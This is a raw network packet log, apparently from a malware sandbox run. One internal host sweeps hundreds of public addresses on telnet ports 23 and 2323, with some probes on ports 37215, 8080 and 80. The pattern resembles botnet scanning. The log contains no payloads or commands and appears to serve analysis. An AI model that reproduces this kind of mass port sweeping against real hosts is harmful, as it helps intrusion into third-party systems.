Oct 29, 2024 20:52:41.099791050 CET	56326	23	192.168.2.13	196.202.66.121
Oct 29, 2024 20:52:41.099795103 CET	56326	23	192.168.2.13	165.133.224.64
Oct 29, 2024 20:52:41.099801064 CET	56326	23	192.168.2.13	202.60.240.16
Oct 29, 2024 20:52:41.099813938 CET	56326	23	192.168.2.13	60.31.154.162
Oct 29, 2024 20:52:41.099817038 CET	56326	2323	192.168.2.13	58.72.20.117
Oct 29, 2024 20:52:41.099819899 CET	56326	23	192.168.2.13	73.50.73.13
Oct 29, 2024 20:52:41.099819899 CET	56326	23	192.168.2.13	89.246.20.153
Oct 29, 2024 20:52:41.099833965 CET	56326	23	192.168.2.13	24.137.8.51
Oct 29, 2024 20:52:41.099836111 CET	56326	23	192.168.2.13	126.193.126.76
Oct 29, 2024 20:52:41.099838018 CET	56326	23	192.168.2.13	45.20.234.205
Oct 29, 2024 20:52:41.099843025 CET	56326	23	192.168.2.13	136.64.32.12
Oct 29, 2024 20:52:41.099853039 CET	56326	23	192.168.2.13	191.42.114.246
Oct 29, 2024 20:52:41.099870920 CET	56326	23	192.168.2.13	116.182.144.21
Oct 29, 2024 20:52:41.099878073 CET	56326	23	192.168.2.13	136.177.230.70
Oct 29, 2024 20:52:41.099878073 CET	56326	2323	192.168.2.13	77.112.57.225
Oct 29, 2024 20:52:41.099880934 CET	56326	23	192.168.2.13	180.250.43.149
Oct 29, 2024 20:52:41.099883080 CET	56326	23	192.168.2.13	145.106.246.74
Oct 29, 2024 20:52:41.099883080 CET	56326	23	192.168.2.13	97.2.126.191
Oct 29, 2024 20:52:41.099884033 CET	56326	23	192.168.2.13	46.170.187.57
Oct 29, 2024 20:52:41.099900961 CET	56326	23	192.168.2.13	167.47.234.232
Oct 29, 2024 20:52:41.099900961 CET	56326	23	192.168.2.13	82.206.69.202
Oct 29, 2024 20:52:41.099904060 CET	56326	23	192.168.2.13	150.137.150.135
Oct 29, 2024 20:52:41.099919081 CET	56326	23	192.168.2.13	94.200.116.219
Oct 29, 2024 20:52:41.099919081 CET	56326	23	192.168.2.13	165.123.60.20
Oct 29, 2024 20:52:41.099919081 CET	56326	23	192.168.2.13	169.112.67.42
Oct 29, 2024 20:52:41.099925041 CET	56326	23	192.168.2.13	164.61.126.226
Oct 29, 2024 20:52:41.099940062 CET	56326	2323	192.168.2.13	101.67.150.1
Oct 29, 2024 20:52:41.099940062 CET	56326	23	192.168.2.13	65.145.253.205
Oct 29, 2024 20:52:41.099946022 CET	56326	23	192.168.2.13	124.181.64.67
Oct 29, 2024 20:52:41.099946022 CET	56326	23	192.168.2.13	79.178.79.218
Oct 29, 2024 20:52:41.099963903 CET	56326	23	192.168.2.13	108.151.123.158
Oct 29, 2024 20:52:41.099966049 CET	56326	23	192.168.2.13	78.67.144.181
Oct 29, 2024 20:52:41.099968910 CET	56326	23	192.168.2.13	133.25.253.234
Oct 29, 2024 20:52:41.099984884 CET	56326	23	192.168.2.13	155.94.182.95
Oct 29, 2024 20:52:41.099992037 CET	56326	2323	192.168.2.13	98.149.160.154
Oct 29, 2024 20:52:41.100009918 CET	56326	23	192.168.2.13	173.181.202.223
Oct 29, 2024 20:52:41.100009918 CET	56326	23	192.168.2.13	77.205.253.28
Oct 29, 2024 20:52:41.100009918 CET	56326	23	192.168.2.13	201.183.27.152
Oct 29, 2024 20:52:41.100012064 CET	56326	23	192.168.2.13	189.49.237.216
Oct 29, 2024 20:52:41.100012064 CET	56326	23	192.168.2.13	125.245.58.94
Oct 29, 2024 20:52:41.100013018 CET	56326	23	192.168.2.13	147.33.236.108
Oct 29, 2024 20:52:41.100013971 CET	56326	23	192.168.2.13	38.142.193.98
Oct 29, 2024 20:52:41.100020885 CET	56326	23	192.168.2.13	73.234.128.66
Oct 29, 2024 20:52:41.100022078 CET	56326	23	192.168.2.13	148.140.172.37
Oct 29, 2024 20:52:41.100037098 CET	56326	23	192.168.2.13	20.21.26.15
Oct 29, 2024 20:52:41.100038052 CET	56326	23	192.168.2.13	179.81.131.64
Oct 29, 2024 20:52:41.100054026 CET	56326	2323	192.168.2.13	53.55.212.97
Oct 29, 2024 20:52:41.100058079 CET	56326	23	192.168.2.13	73.171.115.214
Oct 29, 2024 20:52:41.100066900 CET	56326	23	192.168.2.13	132.69.226.199
Oct 29, 2024 20:52:41.100070953 CET	56326	23	192.168.2.13	173.205.5.104
Oct 29, 2024 20:52:41.100071907 CET	56326	23	192.168.2.13	132.191.223.176
Oct 29, 2024 20:52:41.100087881 CET	56326	23	192.168.2.13	84.225.225.53
Oct 29, 2024 20:52:41.100090027 CET	56326	23	192.168.2.13	147.39.220.5
Oct 29, 2024 20:52:41.100092888 CET	56326	23	192.168.2.13	92.210.157.84
Oct 29, 2024 20:52:41.100092888 CET	56326	23	192.168.2.13	5.153.136.56
Oct 29, 2024 20:52:41.100095987 CET	56326	23	192.168.2.13	131.108.227.53
Oct 29, 2024 20:52:41.100110054 CET	56326	2323	192.168.2.13	12.106.3.254
Oct 29, 2024 20:52:41.100116014 CET	56326	23	192.168.2.13	105.170.55.73
Oct 29, 2024 20:52:41.100120068 CET	56326	23	192.168.2.13	179.91.62.90
Oct 29, 2024 20:52:41.100123882 CET	56326	23	192.168.2.13	8.141.33.193
Oct 29, 2024 20:52:41.100126028 CET	56326	23	192.168.2.13	180.202.210.43
Oct 29, 2024 20:52:41.100136042 CET	56326	23	192.168.2.13	189.121.209.23
Oct 29, 2024 20:52:41.100141048 CET	56326	23	192.168.2.13	220.158.177.254
Oct 29, 2024 20:52:41.100157022 CET	56326	23	192.168.2.13	63.136.230.72
Oct 29, 2024 20:52:41.100161076 CET	56326	23	192.168.2.13	143.174.122.204
Oct 29, 2024 20:52:41.100164890 CET	56326	23	192.168.2.13	123.48.66.143
Oct 29, 2024 20:52:41.100171089 CET	56326	2323	192.168.2.13	85.210.169.45
Oct 29, 2024 20:52:41.100181103 CET	56326	23	192.168.2.13	163.196.77.138
Oct 29, 2024 20:52:41.100188971 CET	56326	23	192.168.2.13	77.6.179.179
Oct 29, 2024 20:52:41.100188971 CET	56326	23	192.168.2.13	94.253.109.244
Oct 29, 2024 20:52:41.100191116 CET	56326	23	192.168.2.13	130.178.211.212
Oct 29, 2024 20:52:41.100191116 CET	56326	23	192.168.2.13	42.233.243.117
Oct 29, 2024 20:52:41.100202084 CET	56326	23	192.168.2.13	198.198.156.136
Oct 29, 2024 20:52:41.100212097 CET	56326	23	192.168.2.13	111.218.56.182
Oct 29, 2024 20:52:41.100229025 CET	56326	23	192.168.2.13	90.254.96.163
Oct 29, 2024 20:52:41.100233078 CET	56326	2323	192.168.2.13	5.113.33.225
Oct 29, 2024 20:52:41.100235939 CET	56326	23	192.168.2.13	106.171.124.220
Oct 29, 2024 20:52:41.100244045 CET	56326	23	192.168.2.13	222.5.209.155
Oct 29, 2024 20:52:41.100250959 CET	56326	23	192.168.2.13	106.251.68.125
Oct 29, 2024 20:52:41.100275040 CET	56326	23	192.168.2.13	136.255.175.177
Oct 29, 2024 20:52:41.100281954 CET	56326	23	192.168.2.13	175.255.95.233
Oct 29, 2024 20:52:41.100281954 CET	56326	23	192.168.2.13	197.224.134.163
Oct 29, 2024 20:52:41.100286007 CET	56326	23	192.168.2.13	138.222.255.154
Oct 29, 2024 20:52:41.100286007 CET	56326	2323	192.168.2.13	213.67.81.103
Oct 29, 2024 20:52:41.100295067 CET	56326	23	192.168.2.13	52.15.117.187
Oct 29, 2024 20:52:41.100300074 CET	56326	23	192.168.2.13	153.248.42.191
Oct 29, 2024 20:52:41.100303888 CET	56326	23	192.168.2.13	150.97.214.200
Oct 29, 2024 20:52:41.100305080 CET	56326	23	192.168.2.13	41.19.233.179
Oct 29, 2024 20:52:41.100305080 CET	56326	23	192.168.2.13	149.22.192.75
Oct 29, 2024 20:52:41.100306988 CET	56326	23	192.168.2.13	118.116.1.20
Oct 29, 2024 20:52:41.100323915 CET	56326	23	192.168.2.13	200.56.188.222
Oct 29, 2024 20:52:41.100327015 CET	56326	23	192.168.2.13	182.106.44.107
Oct 29, 2024 20:52:41.100328922 CET	56326	23	192.168.2.13	79.3.123.201
Oct 29, 2024 20:52:41.100332022 CET	56326	23	192.168.2.13	58.10.179.2
Oct 29, 2024 20:52:41.100361109 CET	56326	23	192.168.2.13	173.143.81.105
Oct 29, 2024 20:52:41.100361109 CET	56326	23	192.168.2.13	74.84.242.92
Oct 29, 2024 20:52:41.100363016 CET	56326	2323	192.168.2.13	31.97.62.241
Oct 29, 2024 20:52:41.100363970 CET	56326	23	192.168.2.13	82.159.114.17
Oct 29, 2024 20:52:41.100366116 CET	56326	23	192.168.2.13	94.219.26.217
Oct 29, 2024 20:52:41.100366116 CET	56326	23	192.168.2.13	221.245.108.82
Oct 29, 2024 20:52:41.100368977 CET	56326	23	192.168.2.13	49.8.2.21
Oct 29, 2024 20:52:41.100373030 CET	56326	23	192.168.2.13	212.170.137.135
Oct 29, 2024 20:52:41.100378036 CET	56326	23	192.168.2.13	41.215.149.4
Oct 29, 2024 20:52:41.100373030 CET	56326	23	192.168.2.13	149.248.128.66
Oct 29, 2024 20:52:41.100383997 CET	56326	23	192.168.2.13	71.163.37.110
Oct 29, 2024 20:52:41.100373030 CET	56326	23	192.168.2.13	114.11.62.247
Oct 29, 2024 20:52:41.100373030 CET	56326	23	192.168.2.13	140.29.131.126
Oct 29, 2024 20:52:41.100383043 CET	56326	2323	192.168.2.13	60.159.199.38
Oct 29, 2024 20:52:41.100383043 CET	56326	23	192.168.2.13	211.252.132.70
Oct 29, 2024 20:52:41.100383043 CET	56326	23	192.168.2.13	19.194.143.17
Oct 29, 2024 20:52:41.100383043 CET	56326	23	192.168.2.13	59.178.75.143
Oct 29, 2024 20:52:41.100411892 CET	56326	23	192.168.2.13	107.13.138.151
Oct 29, 2024 20:52:41.100414991 CET	56326	23	192.168.2.13	61.29.4.246
Oct 29, 2024 20:52:41.100414991 CET	56326	23	192.168.2.13	169.178.93.216
Oct 29, 2024 20:52:41.100415945 CET	56326	23	192.168.2.13	175.216.175.153
Oct 29, 2024 20:52:41.100418091 CET	56326	23	192.168.2.13	68.240.157.0
Oct 29, 2024 20:52:41.100439072 CET	56326	23	192.168.2.13	223.71.121.19
Oct 29, 2024 20:52:41.100439072 CET	56326	23	192.168.2.13	100.174.6.135
Oct 29, 2024 20:52:41.100461960 CET	56326	23	192.168.2.13	202.124.60.230
Oct 29, 2024 20:52:41.100461960 CET	56326	23	192.168.2.13	20.145.107.179
Oct 29, 2024 20:52:41.100461960 CET	56326	23	192.168.2.13	213.77.209.62
Oct 29, 2024 20:52:41.100461960 CET	56326	23	192.168.2.13	62.202.82.213
Oct 29, 2024 20:52:41.100467920 CET	56326	23	192.168.2.13	110.132.79.92
Oct 29, 2024 20:52:41.100471020 CET	56326	23	192.168.2.13	137.176.23.109
Oct 29, 2024 20:52:41.100476980 CET	56326	2323	192.168.2.13	196.217.160.203
Oct 29, 2024 20:52:41.100476980 CET	56326	23	192.168.2.13	47.215.19.86
Oct 29, 2024 20:52:41.100476980 CET	56326	2323	192.168.2.13	89.164.26.178
Oct 29, 2024 20:52:41.100485086 CET	56326	23	192.168.2.13	128.211.209.72
Oct 29, 2024 20:52:41.100492954 CET	56326	23	192.168.2.13	77.220.78.78
Oct 29, 2024 20:52:41.100497961 CET	56326	23	192.168.2.13	92.241.234.10
Oct 29, 2024 20:52:41.100507021 CET	56326	23	192.168.2.13	137.22.64.211
Oct 29, 2024 20:52:41.100507021 CET	56326	23	192.168.2.13	13.97.164.255
Oct 29, 2024 20:52:41.100516081 CET	56326	23	192.168.2.13	177.52.30.103
Oct 29, 2024 20:52:41.100517035 CET	56326	23	192.168.2.13	74.36.43.73
Oct 29, 2024 20:52:41.100522995 CET	56326	23	192.168.2.13	57.248.173.137
Oct 29, 2024 20:52:41.100528002 CET	56326	23	192.168.2.13	202.245.241.82
Oct 29, 2024 20:52:41.100533962 CET	56326	2323	192.168.2.13	217.184.165.11
Oct 29, 2024 20:52:41.100548983 CET	56326	23	192.168.2.13	86.118.185.65
Oct 29, 2024 20:52:41.100554943 CET	56326	23	192.168.2.13	134.141.10.139
Oct 29, 2024 20:52:41.100559950 CET	56326	23	192.168.2.13	181.205.252.22
Oct 29, 2024 20:52:41.100562096 CET	56326	23	192.168.2.13	149.194.138.245
Oct 29, 2024 20:52:41.100574970 CET	56326	23	192.168.2.13	198.10.174.20
Oct 29, 2024 20:52:41.100574970 CET	56326	23	192.168.2.13	138.193.216.56
Oct 29, 2024 20:52:41.100574970 CET	56326	23	192.168.2.13	148.28.173.199
Oct 29, 2024 20:52:41.100579977 CET	56326	23	192.168.2.13	155.100.66.189
Oct 29, 2024 20:52:41.100585938 CET	56326	23	192.168.2.13	109.90.96.173
Oct 29, 2024 20:52:41.100588083 CET	56326	2323	192.168.2.13	98.194.160.153
Oct 29, 2024 20:52:41.100610018 CET	56326	23	192.168.2.13	17.88.197.247
Oct 29, 2024 20:52:41.100611925 CET	56326	23	192.168.2.13	134.254.218.163
Oct 29, 2024 20:52:41.100611925 CET	56326	23	192.168.2.13	90.138.196.31
Oct 29, 2024 20:52:41.100613117 CET	56326	23	192.168.2.13	60.26.26.77
Oct 29, 2024 20:52:41.100622892 CET	56326	23	192.168.2.13	104.39.172.143
Oct 29, 2024 20:52:41.100632906 CET	56326	23	192.168.2.13	82.240.191.148
Oct 29, 2024 20:52:41.100646019 CET	56326	23	192.168.2.13	98.68.147.193
Oct 29, 2024 20:52:41.100646019 CET	56326	23	192.168.2.13	99.185.136.98
Oct 29, 2024 20:52:41.100646973 CET	56326	23	192.168.2.13	183.5.127.67
Oct 29, 2024 20:52:41.100646019 CET	56326	23	192.168.2.13	111.186.198.158
Oct 29, 2024 20:52:41.100656033 CET	56326	23	192.168.2.13	118.227.9.158
Oct 29, 2024 20:52:41.100662947 CET	56326	2323	192.168.2.13	107.184.16.154
Oct 29, 2024 20:52:41.100666046 CET	56326	23	192.168.2.13	181.207.73.106
Oct 29, 2024 20:52:41.100673914 CET	56326	23	192.168.2.13	80.176.230.20
Oct 29, 2024 20:52:41.100680113 CET	56326	23	192.168.2.13	165.42.121.73
Oct 29, 2024 20:52:41.100687981 CET	56326	23	192.168.2.13	125.100.43.70
Oct 29, 2024 20:52:41.100696087 CET	56326	23	192.168.2.13	84.106.118.43
Oct 29, 2024 20:52:41.100696087 CET	56326	23	192.168.2.13	141.48.222.74
Oct 29, 2024 20:52:41.100696087 CET	56326	23	192.168.2.13	37.105.189.130
Oct 29, 2024 20:52:41.100718975 CET	56326	23	192.168.2.13	108.12.58.84
Oct 29, 2024 20:52:41.100720882 CET	56326	23	192.168.2.13	49.21.29.231
Oct 29, 2024 20:52:41.100732088 CET	56326	23	192.168.2.13	164.235.222.34
Oct 29, 2024 20:52:41.100733995 CET	56326	23	192.168.2.13	209.11.206.216
Oct 29, 2024 20:52:41.100735903 CET	56326	23	192.168.2.13	98.199.236.182
Oct 29, 2024 20:52:41.100738049 CET	56326	2323	192.168.2.13	17.120.96.75
Oct 29, 2024 20:52:41.100738049 CET	56326	23	192.168.2.13	9.143.90.138
Oct 29, 2024 20:52:41.100754976 CET	56326	23	192.168.2.13	62.7.108.235
Oct 29, 2024 20:52:41.100754976 CET	56326	23	192.168.2.13	218.168.111.82
Oct 29, 2024 20:52:41.100760937 CET	56326	23	192.168.2.13	193.150.77.242
Oct 29, 2024 20:52:41.100780964 CET	56326	23	192.168.2.13	81.24.178.242
Oct 29, 2024 20:52:41.100783110 CET	56326	23	192.168.2.13	185.73.3.189
Oct 29, 2024 20:52:41.100785971 CET	56326	23	192.168.2.13	88.196.204.147
Oct 29, 2024 20:52:41.100804090 CET	56326	2323	192.168.2.13	150.244.198.138
Oct 29, 2024 20:52:41.100804090 CET	56326	23	192.168.2.13	213.11.71.122
Oct 29, 2024 20:52:41.100804090 CET	56326	23	192.168.2.13	142.244.1.129
Oct 29, 2024 20:52:41.100804090 CET	56326	23	192.168.2.13	35.17.51.195
Oct 29, 2024 20:52:41.100811958 CET	56326	23	192.168.2.13	109.162.128.52
Oct 29, 2024 20:52:41.100815058 CET	56326	23	192.168.2.13	5.161.84.171
Oct 29, 2024 20:52:41.100821972 CET	56326	23	192.168.2.13	13.108.94.98
Oct 29, 2024 20:52:41.100822926 CET	56326	2323	192.168.2.13	65.39.16.181
Oct 29, 2024 20:52:41.100826979 CET	56326	23	192.168.2.13	200.4.26.45
Oct 29, 2024 20:52:41.100848913 CET	56326	23	192.168.2.13	53.56.249.230
Oct 29, 2024 20:52:41.100848913 CET	56326	23	192.168.2.13	196.134.50.34
Oct 29, 2024 20:52:41.100857019 CET	56326	23	192.168.2.13	194.44.210.14
Oct 29, 2024 20:52:41.100863934 CET	56326	23	192.168.2.13	173.8.200.23
Oct 29, 2024 20:52:41.100867033 CET	56326	23	192.168.2.13	90.228.243.133
Oct 29, 2024 20:52:41.100884914 CET	56326	23	192.168.2.13	208.232.64.112
Oct 29, 2024 20:52:41.100888014 CET	56326	2323	192.168.2.13	93.42.133.240
Oct 29, 2024 20:52:41.100891113 CET	56326	23	192.168.2.13	86.52.208.166
Oct 29, 2024 20:52:41.100891113 CET	56326	23	192.168.2.13	51.160.218.212
Oct 29, 2024 20:52:41.100893974 CET	56326	23	192.168.2.13	37.182.74.181
Oct 29, 2024 20:52:41.100907087 CET	56326	23	192.168.2.13	151.36.246.61
Oct 29, 2024 20:52:41.100909948 CET	56326	23	192.168.2.13	221.36.35.104
Oct 29, 2024 20:52:41.100912094 CET	56326	23	192.168.2.13	18.73.15.83
Oct 29, 2024 20:52:41.100919962 CET	56326	23	192.168.2.13	120.233.125.8
Oct 29, 2024 20:52:41.100928068 CET	56326	23	192.168.2.13	98.111.204.193
Oct 29, 2024 20:52:41.100950956 CET	56326	2323	192.168.2.13	191.145.144.75
Oct 29, 2024 20:52:41.100953102 CET	56326	23	192.168.2.13	1.24.71.16
Oct 29, 2024 20:52:41.100956917 CET	56326	23	192.168.2.13	152.187.109.4
Oct 29, 2024 20:52:41.100956917 CET	56326	23	192.168.2.13	156.145.117.17
Oct 29, 2024 20:52:41.100956917 CET	56326	23	192.168.2.13	87.146.39.42
Oct 29, 2024 20:52:41.100989103 CET	56326	23	192.168.2.13	182.77.151.142
Oct 29, 2024 20:52:41.100989103 CET	56326	23	192.168.2.13	71.155.158.220
Oct 29, 2024 20:52:41.100991011 CET	56326	23	192.168.2.13	195.193.50.22
Oct 29, 2024 20:52:41.100991964 CET	56326	23	192.168.2.13	207.188.7.5
Oct 29, 2024 20:52:41.100994110 CET	56326	23	192.168.2.13	183.99.168.98
Oct 29, 2024 20:52:41.100996017 CET	56326	23	192.168.2.13	211.39.225.65
Oct 29, 2024 20:52:41.101005077 CET	56326	23	192.168.2.13	205.253.208.14
Oct 29, 2024 20:52:41.101008892 CET	56326	23	192.168.2.13	143.17.213.140
Oct 29, 2024 20:52:41.101016045 CET	56326	2323	192.168.2.13	38.170.227.125
Oct 29, 2024 20:52:41.101020098 CET	56326	23	192.168.2.13	97.184.64.142
Oct 29, 2024 20:52:41.101033926 CET	56326	23	192.168.2.13	9.142.109.186
Oct 29, 2024 20:52:41.101037979 CET	56326	23	192.168.2.13	57.217.76.134
Oct 29, 2024 20:52:41.101042032 CET	56326	23	192.168.2.13	87.251.240.119
Oct 29, 2024 20:52:41.101042032 CET	56326	23	192.168.2.13	100.232.236.76
Oct 29, 2024 20:52:41.101054907 CET	56326	23	192.168.2.13	135.137.33.196
Oct 29, 2024 20:52:41.101054907 CET	56326	23	192.168.2.13	9.248.165.227
Oct 29, 2024 20:52:41.101073027 CET	56326	23	192.168.2.13	160.59.212.239
Oct 29, 2024 20:52:41.101078033 CET	56326	23	192.168.2.13	86.141.147.166
Oct 29, 2024 20:52:41.101089001 CET	56326	2323	192.168.2.13	189.88.255.255
Oct 29, 2024 20:52:41.101089001 CET	56326	23	192.168.2.13	150.7.90.125
Oct 29, 2024 20:52:41.101097107 CET	56326	23	192.168.2.13	134.149.204.46
Oct 29, 2024 20:52:41.101104975 CET	56326	23	192.168.2.13	193.154.91.89
Oct 29, 2024 20:52:41.101111889 CET	56326	23	192.168.2.13	93.247.30.110
Oct 29, 2024 20:52:41.101111889 CET	56326	23	192.168.2.13	42.136.177.7
Oct 29, 2024 20:52:41.101118088 CET	56326	23	192.168.2.13	50.185.108.120
Oct 29, 2024 20:52:41.101123095 CET	56326	23	192.168.2.13	92.252.145.31
Oct 29, 2024 20:52:41.101130962 CET	56326	23	192.168.2.13	165.17.179.250
Oct 29, 2024 20:52:41.101146936 CET	56326	23	192.168.2.13	32.79.89.192
Oct 29, 2024 20:52:41.101150990 CET	56326	23	192.168.2.13	8.80.116.200
Oct 29, 2024 20:52:41.101151943 CET	56326	2323	192.168.2.13	119.72.144.106
Oct 29, 2024 20:52:41.101156950 CET	56326	23	192.168.2.13	112.191.234.10
Oct 29, 2024 20:52:41.101169109 CET	56326	23	192.168.2.13	115.223.45.209
Oct 29, 2024 20:52:41.101170063 CET	56326	23	192.168.2.13	174.192.217.224
Oct 29, 2024 20:52:41.101170063 CET	56326	23	192.168.2.13	199.115.30.125
Oct 29, 2024 20:52:41.101193905 CET	56326	23	192.168.2.13	31.252.51.46
Oct 29, 2024 20:52:41.101197958 CET	56326	23	192.168.2.13	192.194.27.215
Oct 29, 2024 20:52:41.101206064 CET	56326	23	192.168.2.13	76.105.218.139
Oct 29, 2024 20:52:41.101208925 CET	56326	23	192.168.2.13	204.154.107.20
Oct 29, 2024 20:52:41.101212978 CET	56326	2323	192.168.2.13	184.124.186.135
Oct 29, 2024 20:52:41.101227045 CET	56326	23	192.168.2.13	70.198.170.134
Oct 29, 2024 20:52:41.101227045 CET	56326	23	192.168.2.13	59.85.22.203
Oct 29, 2024 20:52:41.101238966 CET	56326	23	192.168.2.13	187.146.147.30
Oct 29, 2024 20:52:41.101248026 CET	56326	23	192.168.2.13	109.59.131.188
Oct 29, 2024 20:52:41.101275921 CET	56326	23	192.168.2.13	97.250.156.100
Oct 29, 2024 20:52:41.101289034 CET	56326	2323	192.168.2.13	14.39.215.128
Oct 29, 2024 20:52:41.101290941 CET	56326	23	192.168.2.13	77.134.236.0
Oct 29, 2024 20:52:41.101290941 CET	56326	23	192.168.2.13	108.251.93.61
Oct 29, 2024 20:52:41.101291895 CET	56326	23	192.168.2.13	19.167.192.194
Oct 29, 2024 20:52:41.101291895 CET	56326	23	192.168.2.13	177.197.104.59
Oct 29, 2024 20:52:41.101294041 CET	56326	23	192.168.2.13	39.242.133.13
Oct 29, 2024 20:52:41.101294041 CET	56326	23	192.168.2.13	38.193.40.247
Oct 29, 2024 20:52:41.101294041 CET	56326	23	192.168.2.13	160.96.144.2
Oct 29, 2024 20:52:41.101294041 CET	56326	23	192.168.2.13	171.14.236.21
Oct 29, 2024 20:52:41.101295948 CET	56326	23	192.168.2.13	72.118.192.27
Oct 29, 2024 20:52:41.101295948 CET	56326	23	192.168.2.13	132.186.38.232
Oct 29, 2024 20:52:41.101296902 CET	56326	23	192.168.2.13	134.42.239.98
Oct 29, 2024 20:52:41.101301908 CET	56326	23	192.168.2.13	160.208.130.221
Oct 29, 2024 20:52:41.101305962 CET	56326	23	192.168.2.13	144.54.80.1
Oct 29, 2024 20:52:41.101305962 CET	56326	2323	192.168.2.13	35.179.18.252
Oct 29, 2024 20:52:41.101306915 CET	56326	23	192.168.2.13	103.125.108.247
Oct 29, 2024 20:52:41.101314068 CET	56326	23	192.168.2.13	39.125.177.144
Oct 29, 2024 20:52:41.101314068 CET	56326	23	192.168.2.13	57.221.88.59
Oct 29, 2024 20:52:41.101314068 CET	56326	23	192.168.2.13	52.69.106.136
Oct 29, 2024 20:52:41.101317883 CET	56326	23	192.168.2.13	40.29.133.252
Oct 29, 2024 20:52:41.101317883 CET	56326	23	192.168.2.13	205.123.177.215
Oct 29, 2024 20:52:41.101320028 CET	56326	23	192.168.2.13	92.155.255.123
Oct 29, 2024 20:52:41.101319075 CET	56326	23	192.168.2.13	123.254.118.96
Oct 29, 2024 20:52:41.101329088 CET	56326	2323	192.168.2.13	132.184.230.199
Oct 29, 2024 20:52:41.101329088 CET	56326	23	192.168.2.13	155.69.168.132
Oct 29, 2024 20:52:41.101331949 CET	56326	23	192.168.2.13	152.147.253.11
Oct 29, 2024 20:52:41.101340055 CET	56326	23	192.168.2.13	34.168.250.167
Oct 29, 2024 20:52:41.101352930 CET	56326	23	192.168.2.13	165.29.244.12
Oct 29, 2024 20:52:41.101352930 CET	56326	23	192.168.2.13	166.27.164.195
Oct 29, 2024 20:52:41.101353884 CET	56326	23	192.168.2.13	122.53.160.249
Oct 29, 2024 20:52:41.101353884 CET	56326	23	192.168.2.13	125.38.27.252
Oct 29, 2024 20:52:41.101356983 CET	56326	23	192.168.2.13	163.192.254.173
Oct 29, 2024 20:52:41.101366043 CET	56326	23	192.168.2.13	107.241.33.42
Oct 29, 2024 20:52:41.101368904 CET	56326	23	192.168.2.13	86.72.18.153
Oct 29, 2024 20:52:41.101368904 CET	56326	2323	192.168.2.13	42.91.1.27
Oct 29, 2024 20:52:41.101388931 CET	56326	23	192.168.2.13	23.166.127.54
Oct 29, 2024 20:52:41.101388931 CET	56326	23	192.168.2.13	176.217.234.107
Oct 29, 2024 20:52:41.101392031 CET	56326	23	192.168.2.13	100.218.51.124
Oct 29, 2024 20:52:41.102049112 CET	57592	2323	192.168.2.13	17.217.112.208
Oct 29, 2024 20:52:41.104897022 CET	2323	56326	160.19.12.110	192.168.2.13
Oct 29, 2024 20:52:41.104944944 CET	56326	2323	192.168.2.13	160.19.12.110
Oct 29, 2024 20:52:41.115174055 CET	34508	80	192.168.2.13	95.5.24.82
Oct 29, 2024 20:52:41.115176916 CET	59904	37215	192.168.2.13	197.50.181.193
Oct 29, 2024 20:52:41.115181923 CET	58300	37215	192.168.2.13	197.188.162.153
Oct 29, 2024 20:52:41.115194082 CET	47792	37215	192.168.2.13	197.130.35.34
Oct 29, 2024 20:52:41.115195990 CET	42812	8080	192.168.2.13	95.191.176.62
Oct 29, 2024 20:52:41.115200043 CET	60794	37215	192.168.2.13	197.227.102.38
Oct 29, 2024 20:52:41.115200996 CET	52312	8080	192.168.2.13	62.118.222.62
Oct 29, 2024 20:52:41.120677948 CET	80	34508	95.5.24.82	192.168.2.13
Oct 29, 2024 20:52:41.120744944 CET	34508	80	192.168.2.13	95.5.24.82
Oct 29, 2024 20:52:41.120784998 CET	34508	80	192.168.2.13	95.5.24.82
Oct 29, 2024 20:52:41.121115923 CET	56306	80	192.168.2.13	88.246.28.47
Oct 29, 2024 20:52:41.121829987 CET	41422	80	192.168.2.13	88.77.170.86
Oct 29, 2024 20:52:41.122519970 CET	44814	80	192.168.2.13	88.214.103.50
Oct 29, 2024 20:52:41.123269081 CET	56322	80	192.168.2.13	88.0.207.84
Oct 29, 2024 20:52:41.123929977 CET	48430	80	192.168.2.13	88.137.188.153
Oct 29, 2024 20:52:41.124640942 CET	50978	80	192.168.2.13	88.76.89.129
Oct 29, 2024 20:52:41.125297070 CET	52730	80	192.168.2.13	88.97.248.2
Oct 29, 2024 20:52:41.126192093 CET	58596	80	192.168.2.13	88.190.229.159
Oct 29, 2024 20:52:41.126806021 CET	51500	80	192.168.2.13	88.108.18.195
Oct 29, 2024 20:52:41.127058983 CET	80	34508	95.5.24.82	192.168.2.13
Oct 29, 2024 20:52:41.127116919 CET	80	34508	95.5.24.82	192.168.2.13
Oct 29, 2024 20:52:41.127121925 CET	80	56306	88.246.28.47	192.168.2.13
Oct 29, 2024 20:52:41.127162933 CET	56306	80	192.168.2.13	88.246.28.47
Oct 29, 2024 20:52:41.127188921 CET	34508	80	192.168.2.13	95.5.24.82
Oct 29, 2024 20:52:41.127499104 CET	39876	80	192.168.2.13	88.116.29.139
Oct 29, 2024 20:52:41.128223896 CET	57794	80	192.168.2.13	88.77.87.192
Oct 29, 2024 20:52:41.128937006 CET	44128	80	192.168.2.13	88.192.52.203
Oct 29, 2024 20:52:41.129760981 CET	40754	80	192.168.2.13	88.70.42.191
Oct 29, 2024 20:52:41.130423069 CET	46898	80	192.168.2.13	88.90.108.220
Oct 29, 2024 20:52:41.131304026 CET	43784	80	192.168.2.13	88.204.33.173
Oct 29, 2024 20:52:41.132015944 CET	45806	80	192.168.2.13	88.38.75.104
Oct 29, 2024 20:52:41.132989883 CET	34416	80	192.168.2.13	88.122.25.150
Oct 29, 2024 20:52:41.133173943 CET	80	39876	88.116.29.139	192.168.2.13
Oct 29, 2024 20:52:41.133213997 CET	39876	80	192.168.2.13	88.116.29.139
Oct 29, 2024 20:52:41.133637905 CET	50584	80	192.168.2.13	88.211.212.242
Oct 29, 2024 20:52:41.134501934 CET	46450	80	192.168.2.13	88.186.49.214
Oct 29, 2024 20:52:41.135396004 CET	55982	80	192.168.2.13	88.181.26.182
Oct 29, 2024 20:52:41.136312962 CET	34942	80	192.168.2.13	88.240.250.74
Oct 29, 2024 20:52:41.136872053 CET	56306	80	192.168.2.13	88.246.28.47
Oct 29, 2024 20:52:41.136884928 CET	56306	80	192.168.2.13	88.246.28.47
Oct 29, 2024 20:52:41.137176991 CET	56348	80	192.168.2.13	88.246.28.47
Oct 29, 2024 20:52:41.137759924 CET	39876	80	192.168.2.13	88.116.29.139
Oct 29, 2024 20:52:41.137759924 CET	39876	80	192.168.2.13	88.116.29.139
Oct 29, 2024 20:52:41.138180017 CET	39902	80	192.168.2.13	88.116.29.139
Oct 29, 2024 20:52:41.140846968 CET	80	55982	88.181.26.182	192.168.2.13
Oct 29, 2024 20:52:41.140974998 CET	55982	80	192.168.2.13	88.181.26.182
Oct 29, 2024 20:52:41.140974998 CET	55982	80	192.168.2.13	88.181.26.182
